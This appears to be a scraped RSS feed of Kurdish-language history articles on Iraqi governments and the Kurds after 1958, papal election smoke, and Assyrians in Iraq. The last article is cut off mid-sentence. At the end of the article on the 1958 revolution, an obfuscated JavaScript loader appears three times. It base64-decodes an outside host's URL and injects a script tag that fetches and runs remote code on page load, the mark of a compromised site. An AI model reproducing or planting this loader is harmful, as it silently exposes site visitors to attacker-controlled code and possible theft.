https://rojnameyaevro.com/ku/%d8%b3%db%8c%d8%a7%d8%b3%db%95%d8%aa%db%8e%d9%86-%d8%ad%d9%88%d9%83%d9%85%db%95%d8%aa%db%8e%d9%86-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e%e2%80%8c-%d8%a8%d9%80%db%95%d8%b1%d8%a7%d9%86%d8%a8%db%95%d8%b1/246728/#comments Wed, 18 Jun 2025 23:00:42 +0000 https://rojnameyaevro.com/ku/?p=246728 لۆرنس نادر مخۆ

1 ــــ 2

هەر ژ دامەزراندنا مەملەكەتا ئیراقێ‌ ل سالا 1921 و كەفتنا وێ‌ ل سالا 1958 ب كۆدەتایا لەشكری ب سەركرداتیا عەبدولكەریم قاسم و هاتنا حوكمەتێن كۆماری، ژ سالا 1958 هەتا نوكە ئێك جۆرە سیاسەتە ل سەر خەلكێ‌ كوردستانێ‌ دهێتە سەپاندن، ئەو ژی دەمێ‌ ل دەسپێكا هاتنا وان ل سەر دەستهەلاتی ب نەرمی و باشی سەرەدەری ل گەل كوردستانێ‌ دكەن و دەما ب هێز دكەڤن سیاسەتا خۆ هەمبەر كوردستانێ‌ توند دكەن و تایبەت پشتی جهێ‌ خۆ ل دەستهەلاتی موكم دكەن.
پشكداریا كوردان د كۆدەتایا 14 تیرمەها 1958 و كەفتنا رژێما شاهانە و وەرگرتنا كورد هندەك مافێن خۆ د دەستكەفتیێن شۆرەشی دا، وەك پشكداریا كوردان د حوكمەتا قاسم دا، ئەندامبوونا (خالد نەقشەبەندی) د جڤاتا سەروەری و ل دوماهیێ دیاركرنا ناڤێ‌ كوردان د دەستوورێ‌ ئیراقێ‌ دا. هەر وەسا د وی دەمی عەبدولكەریم قاسم بڕیارا ڤەگەراندنا (مەلا مستەفا بارزانی) سەرۆكێ‌ پارتی دیموكراتی كوردستان كر كو هاتبوو دویرئیخستن ژبۆ ئێكەتیا سۆڤیێت یا بەرێ‌. وەكو بارزانی ل 6/10/1959 ڤەدگەریتە ئیراقێ‌ ول حەفتی مەهێ‌ عەبدولكەریم قاسم ل بەغدا پێشوازیا ئەوی دكەت. هەروەسا بەری ڤێ‌ رویدانی ل 4/4/1959 ب بریارا قاسم ژبۆ دەركەفتنا (رۆژناما خەبات) زمانحالێ‌ پارتی دیموكراتی كوردستان ب شێوەیەكێ‌ راستەوخۆ، كو بەری هینگێ‌ ب شێوەیەكێ‌ نهێنی بەلاڤ دبوو. هەروەسا ژمارەكا دی یا ماف و چاكسازیا د بەرژەوەندیا خەلكێ‌ كوردستانێ‌ دا بوون. ئەڤ سیاسەتە هاتە چەسپاندن هەتا قاسم شیایی جهێ‌ خۆ ل سەر دەستهەلاتی موكم بكەت و پاشی هێدی هیدی سیاسەتا خۆ بەرامبەر كورد و كوردستانێ‌ بگوهۆریت، ژ ئەگەرێ‌ گوهۆرینا سیاسەتا ئەوان و زولم و زۆرداریا ئەوان ل سەر خەلكێ‌ كوردستانی، شۆرەشا ئەیلۆلی ل سالا 1961 دەسپێكر.
عەبدولسەلام محەمەد عارف كۆدەتایا 8 شباتا 1961 دكەت و شییا د ڤێ‌ كۆدەتایێ دا عەبدولكەریم قاسم بكوژیت، عارف ل ڤێرە دبیتە سەرۆكێ‌ ئیراقێ‌ و نەهی شباتێ‌ حوكمەت دهێتە دامەزراندن ب سەركرداتیا ئەحمەد حەسەن بەكر. دیسا دو كەس دبنە وەزیر د ڤێ‌ كابینا وەزاری دا. دیسا د دەستووری دا ژی ئاماژە ب شەراكەتا كورد و عەرەب دا هاتەكرن، لێ‌ ل ڤێرە بارزانی و هەڤالێن د گەل دا شەراكەتا دروست و راستەقینە ژ سەركرداتیا پارتا بەعس دخواست و چەندێن جارە نوونەرێن كوردان سەرەدانا بەغدا كرینە ژبۆ داخوازا مافێن كوردان و ئەوبوو بەعس هەردەم ئەڤ دانوستاندنە مژوول دكرن و هەر جار ب هیجەتەكێ‌، جارا دا بێژنە كوردان، هەوە ئەندامێن كۆمونیست یێن حەواندین و جاران دا بێژن دڤێت جەمال عەبدولناسر سەرۆكی مسری رازەمەندیا خۆ ل سەر پرۆسێسا ئەتونۆمیا كوردی بدەت و ئەڤ چەندە هەمی وە دكر داكو بشێن پتر وەختی وەرگریت و داكو لەشكرێ‌ خۆ حازر بكەن و دیسا كارێ‌ خۆ بكەن و لاو ل سەر حوكمی خۆ بسەپینن و موكم بكەن، داكو هێرش بكەنە سەر كوردستانێ‌ و پشتی دامەزراندنا حوكمەتا عەرەبی د ناڤبەرا (مسر، سووریا و ئیراق) ل نیسانا 1963، كورد گەهشتنە وێ‌ باوەریێ، ئێدی نەشێن ب چ ریكا دانوستاندنان ل گەل عەرەبان بكەن، ئەوبوو ل 10/6/1963 حوكمەت جارەكادی هیرش ئینانە سەر كوردستانێ‌ و ئەو ژی وەكی هاتیە دیاركرن، پشتی شیایین جهێ‌ خۆ ل سەر حوكمی موكم بكەن و لەشكرێ‌ خۆ ب هێزبێخن. پشتی چەند مەهان و تایبەت ل 18/11/1963 عەبدولسەلام شیا كۆدەتایێ‌ ل سەر بەعسیا بكەت و وەزارەتا بەكر لادەت، و كابینەكا دی ب سەركرداتیا تاهیر یەحیا دروست بكەت.
پشتی ڤێ‌ كۆدەتایێ عەبدولسەلام ب فەر دیت شەڕ ل گەل كوردان رابوەستینیت، چونكی نە گەلەك یێ بهێز بوو ل سەر دەستهەلاتی، و نەشێت د ئێك دەم دا شەڕێ‌ شۆرەشڤانان بكەت و خۆ ل سەر دەستهەلاتی بهێز بكەت، و باش خۆ بسەپینیت. لەورا نەچار بوو دانوستاندنان ل گەل سەركرداتیا شۆرەشێ‌ بكەت، لەورا پەیمانا 10 شباتا 1964 هاتە گرێدان د ناڤبەرا حوكمەتێ‌ و سەركرداتیا شۆرەشێ‌ دا، ژ ئەگەرێ‌ ڤێ‌ پەیمانێ‌ پارتی دبیتە دو پشك. ئەڤ پەیمانە دمینیت سەرەرای هەولێن كوردان ژبۆ چارەسەریا ئەتۆنۆمی. لێ‌ حوكمەتا ئیراقێ‌ یا رژد بوو كێشەیا كوردی چارەسەر نەبیت، هەتا نیسانا 1965 جارەكا دی هەوێن لەشكری ل سەر كوردستانێ‌ دەستپێكرنەڤە. و ل مەها نەهی 1965 عەبدولرەحمان بەزاز دبیتە سەرۆك وەزیران، كو ئەڤە ئێكەم كەسە یێ سڤیل و نە یێ‌ لەشكەری سەرۆكاتیا وەزارەتێ‌ وەربگریت ل ئیراقێ‌ پشتی شۆرەشا 14 تیرمەهێ‌. و شەڕ و پێكدادان د بەردەوام بوون سەرەرای هاتنا بەزازی. ل 15 نیسانا 1966 حوكمەتێ‌ بریار دا هێرشەكا مەزنتر و توندتر بینیتە كوردستانێ‌ ل ژێر ناڤێ‌ (توكلنا علی الله) و ئارمانج ژ ڤێ‌ هیرشێ‌ نەهێلانا شۆرەشێ‌ بوو، لێ‌ بەری ئەڤ هەوا لەشكری دەست پێ بكەت، ل 13 نیسانا 1966 فرۆكەیا عەبدولسەلام عارف سەرۆكێ‌ ئیراقێ‌ ل باشۆرێ‌ ئیراقێ‌ دسۆژیت. ل 16 نیسانێ‌ برایێ وی عەبدولرەحمان محەمەد عارف دبیتە سەرۆك، و دیسا بزار دبیتە سەرۆك وەزیران و كابینەیا خۆ یا نوی دروست دكەتەڤە. و شەڕ ب توندی بەردەوام بوون د ناڤبەرا لەشكری و شۆرەشڤانان و ل ڤێرە عەبدولرەحمان سەرۆكەكێ‌ نوی بوو و شۆرەشڤانان سەركەفتنێن مەزن تۆمار دكر ل سەر لەشكرێ‌ ئیراقێ‌ و تایبەت د شەڕێ‌ چیایێ هندرین ئەوا ل 12/5/1966 رویدای.

]]> https://rojnameyaevro.com/ku/%d8%b3%db%8c%d8%a7%d8%b3%db%95%d8%aa%db%8e%d9%86-%d8%ad%d9%88%d9%83%d9%85%db%95%d8%aa%db%8e%d9%86-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e%e2%80%8c-%d8%a8%d9%80%db%95%d8%b1%d8%a7%d9%86%d8%a8%db%95%d8%b1/246728/feed/ 0 دابونەریتێن دویكێلا رەش و سپی و هەلبژارتنا پاپایێ‌ كەنیسەیا كاسۆلیك https://rojnameyaevro.com/ku/%d8%af%d8%a7%d8%a8%d9%88%d9%86%db%95%d8%b1%db%8c%d8%aa%db%8e%d9%86-%d8%af%d9%88%db%8c%d9%83%db%8e%d9%84%d8%a7-%d8%b1%db%95%d8%b4-%d9%88-%d8%b3%d9%be%db%8c-%d9%88-%d9%87%db%95%d9%84%d8%a8%da%98%d8%a7/245594/ https://rojnameyaevro.com/ku/%d8%af%d8%a7%d8%a8%d9%88%d9%86%db%95%d8%b1%db%8c%d8%aa%db%8e%d9%86-%d8%af%d9%88%db%8c%d9%83%db%8e%d9%84%d8%a7-%d8%b1%db%95%d8%b4-%d9%88-%d8%b3%d9%be%db%8c-%d9%88-%d9%87%db%95%d9%84%d8%a8%da%98%d8%a7/245594/#comments Sun, 11 May 2025 08:29:20 +0000 https://rojnameyaevro.com/ku/?p=245594 لۆرنس نادر

د ناڤ هەر ئایین، مەزهەب یان هزرەكا ئایینی دا؛ دابونەریتێن جودا هەنە، ئایینی كریستیانان ژی ژ وان ئایینایە كو دابونەریت و كولتووریێن جودا ژ ئایینێن دیتر، هەر د ناڤ ئایینێ‌ كریستیانایەتیێ دا ژمارەكا مەزهەب و كەنیسەیان هەنە (كاسۆلیك، پرۆتستانت، كەنیسا رۆژهەلات.. هتد). هەتا رادەبەكێ‌ هەر مەزهەبەك دابونەریت و كولتووریێن جودا یێن هەیین ژ مەزهەبین دیتر و د ناڤ كەنیسا كاسولیك دا، ئەوا سەنتەرێ‌ وێ‌ فاتیكان دابونەریتەكا جودا ژ مەزهەبێن دیتر هەیە تایبەت د هەلبژارتنا پاپا دا.
ل 8 گولانا 2025 پاپایەكێ‌ نوی هاتە هەلبژارتن بۆ كەنیسا كاسۆلیك، ئەو ژی رۆبەرت بریفۆست (پاپا لیۆ یێ جواردێ‌) یێ ژ رەگەز ئەمریكێ‌، ئەڤە دبیتە ژمارا (267) ژ رێزبەندا یان هەژمارا پاپا ئەوێن دەستهەلات وەرگرتین بۆ كەنیسا كاسۆلیك و دبیتە ئێكەم پاپا ژ وەلاتێ‌ ویلایەتێن ئێكگرتی یین ئەمریكا.
تشتێ‌ سەیر د هەلبژارتنا پاپا، ژمارەكا مەزن ژ كاردینالا كۆم دبن د ناڤ (كەنیسەیا سیستین) ل فاتیكانێ‌ ژبۆ هەلبژارتنا پاپای، ئەڤ رێورەسمە ب شێوەكێ‌ نهێنی دهێتە ئەنجامدان، دەما نەشیێن ئەڤ كاردینالە كەسەك بهەلبژێرن ئەو وەرەقەیێن وان كاردینالان دێ‌ كەرەستەكێ‌ كیمیاوی كەنە سەر وان وەرەقا و ئاگربەردەنێ‌ هەتا دیكێلەكا رەش دەربكەڤیت و رامانا وی دیكێلێ‌ رەش ئەوە كو ئەڤ كاردینالە نە شیان پاپایەكێ‌ ب هەلبژێرن بۆ سەركرداتیا كەنیسا كاسۆلیك، دی جارەكا دی ئەڤ كاردینالە رویننە ڤە، هەمان پرۆسێس دێ‌ هێتە ئەنجامدان ژبۆ هەلبژارتنا پاپایەكێ‌. چەند پاپا نەهێتە هەلبژارتن دێ دوكێلێ رەش دەركەڤیت.
لێ‌ دەما ئەڤ كاردینالە د جڤینا خۆ دا شیان پاپایەكێ‌ بهەلبژێرن، ل ڤی دەمی پاپایەكێ‌ نوو هاتە هەلبژارتن و دیسا هەمی ئەو وەرەقێن وان دێ هینە سۆتن، بەلێ‌ ب شێوازەكێ‌ دیتر، بەروڤاژی شێوازێ‌ بەرێ‌. ل ڤێرە ئەڤ وەرەقە دێ‌ هێنە سۆتن، ئەو ژی پشتی كەرەستەكی كەنە سەر وان وەرەقا هەتا دیكێلەكێ‌ سپی دەربكەڤیت. دڤێت پشتی هەلبژارتنا پاپایەكێ‌ نوی دیكێلەكی سپی دەربكەڤیت. و رامانا دیكێلێ‌ سپی ژی ئەوە، پاپا هاتە هەلبژارتن.
ئەڤ چەندە، ئانكو ژبۆ هەلبژارتنا پاپای د كەنیسا كاسۆلیك دا، دەما دەركەفتنا دیكێلێ رەش و سپی ژبۆ هەلبژارتن یان نە هەلبژارتنا پاپای، دج كەنیسەیێن دیتر یێن كریستیانان نینە، بتنێ‌ د ناڤ كەنیسەیا كاسولیك دا ئەوا سەنتەرێ‌ وێ‌ ل فاتیكان ئەڤ چەندە یا هەی. هەروەسا د ناڤ كەنیسە و مەزهەبێن دیتر ژی هندەك دابونەریت و كولتوورێ ئایینی یێ جیواز هەیە.

]]> https://rojnameyaevro.com/ku/%d8%af%d8%a7%d8%a8%d9%88%d9%86%db%95%d8%b1%db%8c%d8%aa%db%8e%d9%86-%d8%af%d9%88%db%8c%d9%83%db%8e%d9%84%d8%a7-%d8%b1%db%95%d8%b4-%d9%88-%d8%b3%d9%be%db%8c-%d9%88-%d9%87%db%95%d9%84%d8%a8%da%98%d8%a7/245594/feed/ 0 كورد و ده‌ستكه‌فتیێن شۆره‌شا 14تیرمه‌ها 1958 ل ئیراقێ https://rojnameyaevro.com/ku/%d9%83%d9%88%d8%b1%d8%af-%d9%88-%d8%af%d9%87%e2%80%8c%d8%b3%d8%aa%d9%83%d9%87%e2%80%8c%d9%81%d8%aa%db%8c%db%8e%d9%86-%d8%b4%db%86%d8%b1%d9%87%e2%80%8c%d8%b4%d8%a7-14%d8%aa%db%8c%d8%b1%d9%85%d9%87/226047/ https://rojnameyaevro.com/ku/%d9%83%d9%88%d8%b1%d8%af-%d9%88-%d8%af%d9%87%e2%80%8c%d8%b3%d8%aa%d9%83%d9%87%e2%80%8c%d9%81%d8%aa%db%8c%db%8e%d9%86-%d8%b4%db%86%d8%b1%d9%87%e2%80%8c%d8%b4%d8%a7-14%d8%aa%db%8c%d8%b1%d9%85%d9%87/226047/#comments Sat, 13 Jul 2024 20:41:49 +0000 https://rojnameyaevro.com/ku/?p=226047 لۆرنس نادر
كورد دهێنه‌ نیاسین ژ پێكهاته‌یێن سه‌ره‌كى ل ئیراقێ، هه‌ر ژ رۆژا دامه‌زراندا شانشاهیا ئیراقێ ل سالا 1921 ره‌گه‌زێ كورد رۆله‌كێ مه‌زن ژد دروستكرنا ئیراقا نوی دا هه‌بوو. ده‌ڤه‌رێن كوردى دبنه‌ پارچه‌ك ژ ده‌وله‌تا ئیراقا نوی و پشكداریا كوردان د حوكمه‌تێن ئیراقێ دا هه‌ر ژ ده‌سپێكێ و ژماره‌كا كوردان ئه‌ندامێن په‌رلمانێن ئیراقێ بوون. سه‌ره‌راى وێ چه‌ندێ ژماره‌كا بزاڤێن سیاسى یێن كوردى دژى حوكمه‌تێن ئیراقێ دروستبوون ژبۆ ده‌ستڤه‌ئینانا مافێن خوه‌، ل دوماهیێ ده‌ما شۆره‌شا 14تیرمه‌هى ل ئیراق رویدده‌ت، ب رێیا ڤێ شۆره‌شێ هنده‌ك ده‌ستكه‌فت ژبۆ كوردان په‌یدابوون.
وه‌كى هاتیه‌ دیاركرن كو كورد پێكهاته‌كا ره‌سه‌نه‌ ل ئیراقێ، هه‌ر ژ ده‌مێ دروستبوونا دوه‌له‌تا ئیراقێ ل 23 ته‌باخا 1921 كورد پشكدارى د ده‌نگدانێ دا بووینه‌، هه‌روه‌سا ژماره‌ك ژ كه‌سانێن كورد پشكدارى د ناڤ وه‌زاره‌تێن ئیراقێ دا پشكدار بووینه‌، هه‌روه‌سا د په‌رله‌مانى ئیراقێ دا كوردان نوونهر ه‌ووینه‌، كو یا دروست ئه‌وه‌ كوردان ب ته‌مامى پشكدارى د ژیانا سیاسى ل ئیراقێ هه‌بوویه‌، سه‌ره‌راى ژماره‌كا بزاڤێن سیاسى یێن كوردى دژی حوكمه‌تێن ئیراقێ رویداینه‌. ل دوماهیێ ژماره‌كا كه‌سانێن كورد ئه‌ندام بوون د ناڤ (ئه‌فسه‌رێن ئازادیخواز) ب سه‌ركرداتیا (عه‌بدالكه‌ریم قاسم) ل سپێده‌یا 14 تیرمه‌ها 1958 ب كۆده‌تایه‌كا له‌شكرى رابن ل دژی سیسته‌مێ شاهانه‌ ل ئیراقێ و سیسته‌مێ وه‌لاتى هاته‌ گوهۆرین ژ شاهانه‌ بۆ كۆمارى، پشتى هینگى ئه‌ڤ شۆره‌شه‌ سێ جۆره‌ ده‌ستكه‌فتى هه‌بوونه‌ (منجزات الپوره‌)، (چڤاتا سه‌روه‌رى و حوكمه‌تا شۆره‌شێ و ده‌ستور) (جلس السیاده‌ وحكومه‌ الپوره‌ والدستور المۆقت).
كورد دبیته‌ پشكه‌كێ دى ژ هه‌رسێ ده‌ستكه‌فتیێن شۆره‌شێ ئه‌وێن هاتینه‌ دیاركرن. به‌یاننامه‌یا شۆره‌شى ژلایێ (عه‌بدالسه‌لام محه‌مه‌د عارف) ڤه‌ ل سپیده‌یا 14 تیرمه‌هێ دهێته‌ خواندن ب رێكا رادیۆیێ، د ڤێ به‌یاننامێ دا بریار دا ژبۆ دروستبوونا (چڤاتا سه‌روه‌رى) ژ سێ كه‌سان. ئه‌ڤ كه‌سه‌ دێ برێڤه‌برنا ب ڤێ چڤاتێ رابن. ئه‌ڤ كه‌سه‌ ئێك ژ وان سه‌رۆكێ ڤێ چڤاتێ یه‌ و ل گه‌ل دو ئه‌ندامان، كو سه‌رۆكێ چڤاتێ (محه‌مه‌د نجیب الروبه‌یعی) یێ سونه‌ و هه‌ردو ئه‌ندامێن ڤێ چڤاتێ (محه‌مه‌د مه‌هدى كوبه‌) یێ شعه‌ (خالد نه‌قشه‌به‌ندى) یێ كورد.
ده‌ستكه‌فتا دووێ یا شۆره‌شى پێكئینانا حوكمه‌تێ بوو ئه‌وا هاتیه‌ نیاسین ب (حوكمه‌تا شۆره‌شێ). كو ئه‌ڤ كابینه‌ ب سه‌ركرداتیا (عه‌بدالكریم قاسم) هاته‌ دامه‌زراندن كو د ڤێ كابینه‌یا وه‌زاری دا دو كه‌س كورد بوون. (بابا عه‌لی- وه‌زیرى گه‌هاندن) كو ئه‌ڤه‌ كۆرێ (شێخ مه‌حموود حه‌فید) بوو، و وه‌زیرێ دویێ (محه‌مه‌د سالح مه‌حموود – وه‌زیرێ ساخله‌میێ) بوو. راسته‌ ئه‌ڤ هه‌ردو كه‌سه‌ نه‌ ژ پارتێن كورد بوون، وه‌ك پارتى دیموكراتى كوردستان، لێ هه‌ر چاوا بیت به‌هرا نه‌ته‌وا كورد هاتبوونه‌ دیاركرن د ده‌ستكه‌فتیێن شۆره‌شێ دا.
بههرا كوردان و ده‌ستكه‌فتیا د ده‌ستوورى دا. ده‌ستوورێ سالا 1958 دهێته‌ هژمارتن ئێك ژگرنگترین ده‌ستكه‌فتیێن شۆره‌شا 14 تیرمه‌ها 1958. وه‌كى وان ده‌ستكه‌فتیێن هاتینه‌ دیاركرن، هه‌روه‌سا د ڤێ لایه‌نى دا ژی كورد به‌هر تێدا هه‌بوو. پشتى شۆره‌شێ لیژنه‌ك هاته‌ دروستكرن ژبۆ نڤیسینا ده‌ستوورێ نوی یێ ئیراقێ پشتى شۆره‌شێ. و ل 27 تیرمه‌ها 1958 ده‌ستوورێ ئیراقێ هاته‌ راگه‌هاندن.
ئه‌ڤ ده‌ستووره‌ ژ (چار ده‌رگه‌ه و سیه مادده‌یان) پێك هاتبوو و مادده‌یا (3) به‌حسى كوردان دكه‌ت، ده‌ما دیار دكه‌ت كو ” دروستبوونا كیانێ ئیراقێ ل سه‌ر بنه‌مایێ هاریكاریێ د ناڤب‌را هه‌مى پێكهاتان دا و رێزگرتنا ماف و ئازادیا وان، هه‌روه‌سا كورد و عه‌ره‌ب شریكن ل سه‌ر ڤى وه‌لاتى و ئه‌ڤ ده‌ستووره‌ مافێن وان یێن نه‌ته‌وایه‌تى د چارچووڤێ ئێكرێزیا ئیراقێ دیار دكه‌ت”. كو ئه‌ڤ مادده‌ وه‌سا دده‌ته‌ دیاركرن كورد و عه‌ره‌ب بێ جێوازى ده‌رباره‌ى مافێن وان یێن نه‌ته‌وایه‌تى ب هه‌ڤرانه‌، هه‌روه‌سا د چارچووڤێ ئیراقه‌كا ئێكگرتى دا.
ل دوماهیێ، راسته‌ د ناڤ هه‌ر سێ ده‌ستكه‌فتیێن شۆره‌شێ به‌هرا كوردان هاتبوونه‌ دیاركرن، لێ ئه‌ڤ ماف و ده‌ستكه‌فتیه‌ كێشه‌یا كوردى ل ئیراقێ نه‌ د چاره‌سه‌ر كر، ئه‌گه‌ر كێشه‌یا ون هاتبوو اره‌ه‌ر كرن، ئێك ژ مه‌زنترین رویدانێن ئیراقێ په‌یدا نه‌دبوو، ئه‌و ژی سه‌رهه‌لدانا بزاڤا كوردى ب سه‌ركرداتیا مه‌لا مسته‌فا بارزانی ل ئه‌یلۆنا 1961. كو ئه‌ڤ بزاڤه‌ وه‌ك وه‌رچه‌رخانه‌یه‌ك بوو د مێژوویا ئیراق و كورداندت. له‌ورا یا گرنگه‌ مافێن هه‌مى پێكهاته‌یان و بێ جێوازى ل ئیراقێ بهێنه‌ دان. ئه‌ڤ وه‌لته‌ ته‌نا نابیت هه‌تا دانا مافێن هه‌مى پێكهاته‌یان.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

]]> https://rojnameyaevro.com/ku/%d9%83%d9%88%d8%b1%d8%af-%d9%88-%d8%af%d9%87%e2%80%8c%d8%b3%d8%aa%d9%83%d9%87%e2%80%8c%d9%81%d8%aa%db%8c%db%8e%d9%86-%d8%b4%db%86%d8%b1%d9%87%e2%80%8c%d8%b4%d8%a7-14%d8%aa%db%8c%d8%b1%d9%85%d9%87/226047/feed/ 0 ئاشۆرى د سه‌د سالیا ئیراقێ دا 1921 ـ 2021 https://rojnameyaevro.com/ku/%d8%a6%d8%a7%d8%b4%db%86%d8%b1%d9%89-%d8%af-%d8%b3%d9%87%e2%80%8c%d8%af-%d8%b3%d8%a7%d9%84%db%8c%d8%a7-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e-%d8%af%d8%a7-1921-%d9%80-2021/196150/ https://rojnameyaevro.com/ku/%d8%a6%d8%a7%d8%b4%db%86%d8%b1%d9%89-%d8%af-%d8%b3%d9%87%e2%80%8c%d8%af-%d8%b3%d8%a7%d9%84%db%8c%d8%a7-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e-%d8%af%d8%a7-1921-%d9%80-2021/196150/#comments Sat, 18 Dec 2021 10:54:43 +0000 https://rojnameyaevro.com/ku/?p=196150 لۆرنس نادر

نه‌ته‌وه‌یا ئاشۆرى ئێك ژ نه‌ته‌وێن ره‌سه‌نن ل سنوورێ جوگرافیا میزۆبۆتامیا هه‌ر به‌رى دامه‌زراندنا ئیراقێ ل سالا 1921ز. ئه‌ڤ نه‌ته‌وه‌ بۆ ده‌مێ سه‌دسالیا دامه‌زراندنا ئیراقێ وه‌ك نه‌ته‌وه‌كا بیانى دهاته‌ نیاسین ل ئیراقێ، تایبه‌ت ژلایێ ده‌ستهه‌لاتێ ڤه‌، ئانكو مافێن وان دهاتنه‌ پێشێلكرن و دیسا دهاتنه‌ هژمارتن وه‌ك نه‌ته‌وه‌یێن ژپله‌یا (سیێ ـ چارى)، و دناڤ ده‌ستوورێن ده‌وله‌تێ دا مافێن وان نه‌ دهاتنه‌ دیاركرن.
شاشیه‌كا مێژوویى ل سه‌ر هه‌بوونا ئاشۆریا ئیراقێ دهێته‌ نڤیسین، وه‌سا دهێته‌ دیاركرن كو ئاشۆرى نه‌ته‌وه‌كێ بیانى و نوینه‌ ل ئیراقێ، دیسا وه‌سا دهێته‌ دیاركرن كو ئاشۆرى ل سالا 1918 دهێنه‌ سه‌ر ئاخا ئیراقێ ده‌مێ بریتانیا ژ هه‌كارێ و ئۆرمێ دئینیت ل كه‌مپا به‌عقووبه‌ جهنشین دكه‌ت. راسته‌ ئه‌و ل سالا 1918 به‌شه‌ك و نێزیكی (50000) ژ ئاشۆرى و ئه‌رمه‌ن ئینان، لێ دیسا به‌رى دروستبوونا ده‌وله‌تا ئیراقێ بوو. به‌لێ به‌رى ئینانا وان ئاشۆریان ل ئیراقێ ئاشۆرى به‌رى هینگى ل میزۆبۆتامیا هه‌بوون گشتى ل ویلایه‌تا مووسل و تایبه‌ت ل ده‌ڤه‌را به‌هدینان.
پشتى دروستبوونا ده‌وله‌تا ئیراقى ل 23/8/1921 كێشا ئاشۆرى دچیته‌ دچارچووڤه‌كێ نوو دا، و هه‌ول دهاتنه‌كرن كو ئه‌و ئاشۆریێن سالا 1918 هاتین نیشته‌جى بكه‌ن، هه‌روه‌سا ئاشۆریان ب سه‌ركرداتیا باتریه‌ركێ (كه‌نیسا رۆژهه‌لاتا) دهاتنه‌ نیاسین ب (نه‌ستوورى) (ئیشا ماڕ شمعوون) داخواز دكرن كو وه‌لاته‌كێ ئه‌تۆنۆمى بۆ ئاشۆریان بهێته‌ دروستكرن وه‌ك بریتانیا ئه‌ڤ سۆزه‌ دابوونه‌ ئاشۆریان و هه‌تا شیایی هێزه‌ك ب ناڤێ (سووارێن لێڤى) ژ وان دروست بكه‌ت و مه‌ره‌م ژبۆ پاراستنا ئارمانجێن خوه‌ ل ئیراقێ وه‌ك (فرۆكخانه‌، و كیلگه‌هێن په‌ترۆلى، سنوورێن ئیراقێ، لیدانا بزاڤێن چه‌كدار).
ل دووماهیێ هنده‌ك هه‌ول هاتنه‌ كرن ژبۆ نێشته‌جێكرنا وان ل سه‌رانسه‌رى ئیراقى تایبه‌ت ل كه‌مپا مه‌ندان ل مووسل و به‌غدا و ده‌ڤه‌رێن به‌هدینان. هه‌تا هاڤینا سالا 1933 ده‌مێ ئاشۆرى بزاڤا خوه‌ رادبن و حوكمه‌تا ئیراقێ ب توندى دژاتیا ڤى بزاڤى راوه‌ستیت. و دبیته‌ سه‌ربۆره‌ك ژبۆ هێزێن له‌شكرى یێن ئیراقىً، ئانكو ئێكه‌م كارێ له‌شكرى یه‌ له‌شكرێ ئیراقێ پێ رابووی پشتى دامه‌زراندنا وان. هه‌تا ئه‌ڤ بزاڤه‌ (یاخبوون) هاته‌ ب ناڤكرن ژ لایێ حوكمه‌تا ئیراقێ و چه‌ند ژ خه‌لكێ وان، ئه‌ڤ بزاڤه‌ بتنێ مه‌ره‌م ئه‌و بوو ژبۆ چاره‌سه‌ركرنا وان.
پشتى روودانێن 1933 كێشا ئاشۆرى دچیته‌ دچارچووڤه‌كێ نوى دا، چ بزاڤێن سیاسى ره‌وشه‌نبیری نه‌شیا بكه‌ن ژترسا كاره‌ساتا 1933، و ب ته‌مامى هه‌ول هاتنه‌ دان ژبۆ نێشته‌جێكرنا وان، هه‌ر ژ سالا 1933 كو پشكه‌ك ژ وان هاتنه‌ هنارتن بۆ وه‌لاتێ سووریێ و ل ده‌وروبه‌رى رووبارى خابوورى هاتنه‌ نیشته‌جێكرن، و یێن دیتر ل سه‌رانسه‌رى ئیراقێ هاتنه‌ دانان. به‌هرا پتر یا وان (ل ده‌ڤه‌را به‌هدینان و باژێران به‌غدا و مووسل و حه‌بانیه‌ و كه‌ركووك و مووسل و به‌سڕا) جهنشینبوون. و ئاشۆرى بوونه‌ پشكه‌ك ژبۆ برێڤه‌برنا وه‌لاتى، هنده‌ك ژ وان بوونه‌ كرێكار د كۆمپانیا نه‌فتا ئیراقى، و چوونه‌ د له‌شكرى دا و هه‌تا ئاشۆریان رۆل د شه‌ڕێ حه‌بانیێ دا هه‌بوو ل سالا 1941 ل دژاتیا بزاڤا (ره‌شید عالى گه‌یلانى).
هه‌تا كه‌فتنا سیسته‌مێ شاهانا و هاتنا كۆماریا پشتى كۆده‌تا 14/ته‌موزا/1958، ده‌مێ دانانا ده‌ستوورێ نوی یێ ئیراقا كۆمار، مافێن وان ب هیچ ره‌نگى نه‌ هاتنه‌ دیاركرن. ل ده‌مێ ده‌سپێكرنا بزاڤا كوردى ل ئیراقێ (1961 ـ 1988) ئاشۆرى بوونه‌ پشكه‌كا راسته‌قینه‌ د ناڤ شۆرشێ دا، مل ب مل دگه‌ل خه‌لكێ كوردستانێ دژاتیا سیسته‌مێن حوكمرانیێن ئیراقى بوون. دیسا تووشى كاره‌ساتێن مرۆڤانه‌ بوون وه‌ك كوشتارا (صۆریا 1969 و ئه‌نفالێن ره‌ش ل سالا 1988) و دیسا كۆچێن 1988 و1991 بۆ وه‌لاتێن ئیران و توركیا. چه‌ندین گوندێن وان هاتنه‌ سۆتن و تۆپبارانكرن، هه‌روه‌سا گه‌له‌گ ژ ئاشۆریان گوندێن خوه‌ هیلان به‌ر ب ده‌ڤه‌رێن ئارامتر ڤه‌ چوون، هندك ژ وانا ژى وه‌لات هێلا قه‌ستا جیهانا رۆژئاڤاكرن، و ژ وى ده‌مى هه‌تا نها پێل پێل ژ كۆچێن 